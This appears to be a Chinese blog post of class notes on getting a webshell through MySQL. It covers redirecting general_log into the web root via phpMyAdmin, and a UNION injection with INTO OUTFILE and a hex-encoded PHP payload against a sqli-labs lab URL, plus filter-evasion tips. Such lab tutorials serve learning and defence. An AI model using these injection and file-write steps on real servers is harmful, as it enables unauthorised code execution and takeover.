目 录CONTENT

文章目录

SQL注入专题

Administrator
2025-09-25 / 0 评论 / 0 点赞 / 3 阅读 / 0 字

phpMyAdmin → 写文件拿 WebShell

一、原理

利用 MySQL 的**通用查询日志(general_log)**把数据库执行的内容写入到可被 Web 服务器读取的目录,从而把可执行代码(如 PHP 片段)落到 webroot 并通过浏览器触发执行 —— 本质是「把数据库的输出变成网站文件」。

二、操作

  • general_log:MySQL 的通用查询日志,记录执行的 SQL。

  • general_log_file:通用查询日志的文件路径,MySQL 会把日志写入此文件。

  • FILE 权限(MySQL 权限):授予后可影响服务器端的文件写入能力(影响面广)。

  • phpMyAdmin / 管理面板权限:若能通过管理面板执行 SQL,就可能触发上述风险(取决于配置与权限)。

1.查看日志功能是否开启

SHOW VARIABLES LIKE 'general%';

这条命令会列出 MySQL 中和 general_log 有关的变量,主要用来确认 MySQL 的 通用查询日志 是否处于开启状态。

2.如果日志功能关闭

如果查询结果显示 general_log = OFF,就可以通过下面的语句开启:

set global general_log = "ON";

开启后,MySQL 会把执行的 SQL 语句记录到日志文件里。

3.通过修改 general_log_file 把 MySQL 写入到 Web 可访问目录

把 MySQL 的通用查询日志(general_log)重定向到这个文件

set global general_log_file='D:\\phpstudy_pro\\WWW\\phpinfo.php' 

  • 查看 general_log_file 路径是否在 web 服务器可访问的目录(如 /var/www、htdocs、WWW、wwwroot 等)

  • 检查操作系统上 mysql 用户对 webroot 是否有写权限(ls -ld /var/wwwnamei -l /var/www/...

-- 查看通用日志状态与文件路径
SHOW VARIABLES LIKE 'general_log%';

-- 查看当前 general_log_file 的路径
SHOW VARIABLES LIKE 'general_log_file';

-- 检查有哪些用户拥有 FILE 权限(FILE 权限允许写文件到服务器)
SELECT user, host, file_priv FROM mysql.user;

4.写入webshell

执行sql查询

select '<?php phpinfo();?>';

二、手工拿 Shell —— SQL 注入 + 写入文件

一、命令解析

URL:

http://192.168.1.1/sqli/Less-1/?id=3' union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'D:\\phpstudy_pro\\WWW\\2.php' --+

逐段拆解:

  1. id=3' union select ... --+

    • 利用 union 注入 拼接查询结果。

    • ' 关闭原本的语句。

    • union select 拼接新的查询结果。

    • --+ 注释掉后续 SQL。

  2. 1,0x3c3f70687020706870696e666f28293b3f3e,3

    • union select 后需要和前面查询列数匹配,因为没有第四列,只有1-3列。

    • 这里填了三列:1, payload, 3

    • 重点:0x3c3f70687020706870696e666f28293b3f3e

      • 这是十六进制编码。

      • 转换后是:<?php phpinfo();?>

      • 等价于一句话 PHP 脚本,用于测试写入是否成功。

  3. into outfile 'D:\\phpstudy_pro\\WWW\\2.php'

    • into outfile:把 select 的结果写入文件。

    • 路径:写入到 Web 目录下,2.php

    • 这样浏览器访问时,文件会被当 PHP 执行。

二、原理解析

  1. SQL 注入

    • 利用 union select 把自定义内容拼接到 SQL 查询结果中。

    • 通过 into outfile 将查询结果写入服务器磁盘。

  2. 十六进制编码

    • 因为直接写 <?php phpinfo();?> 可能被过滤。

    • 转成十六进制再由数据库写入,避免拦截。

  3. WebShell 写入

    • 路径设定到 WWW 目录(网站根目录)。

    • 写入的内容是 PHP 代码。

    • 浏览器访问时就执行 PHP,从而拿到 Shell(例如 phpinfo 或一句话木马)。

  4. 关键条件

    • 数据库用户必须有 FILE 权限。

    • Web 服务目录必须对数据库有写权限。

    • into outfile 必须允许(有的 MySQL 配置禁用)。

三、完整过程(课堂笔记)

  1. 确认注入点

    • 在 URL 参数(如 id=3)处测试注入。

    • 找到能用的 union select 注入点。

  2. 判断字段数

    • order byunion select null,... 测试。

    • 确定有 3 个字段。

  3. 构造 payload

    • union select 1, 'payload', 3

    • 把中间列替换成要写入的内容。

    • 为避免过滤,使用十六进制表示:0x3c3f70687020706870696e666f28293b3f3e

  4. 写入文件

    • into outfile 'D:\\phpstudy_pro\\WWW\\2.php'

    • 生成 2.php,内容是 <?php phpinfo();?>

  5. 验证执行

    • 浏览器访问:http://192.168.255.180/2.php

    • 若显示 phpinfo 页面 → 写入成功。

  6. 总结

    • 利用 SQL 注入 + into outfile 实现写文件。

    • 最终可在 webroot 下生成 PHP 文件 → 拿到 Shell。

📒 流程(SQL 注入点 → union select → into outfile → webshell)

x. 和拿 shell 的关系

在一些不安全的配置下,如果能控制 MySQL 的 general_log 输出路径(比如设置到 Web 目录下,并写入恶意 PHP 代码),那么就可能通过 phpMyAdmin 写一个 WebShell,从而拿到服务器权限。

这也是图片里提到的 “phpmyadmin 拿 shell 原理” 的核心思路:

  • 先通过 phpMyAdmin 执行 SQL 语句 → 控制日志功能 → 写入一句话木马到 Web 目录 → 远程连接 WebShell。

set global general_log_file='D:\\phpstudy_pro\\WWW\\phpinfo.php'

-.-

0

评论区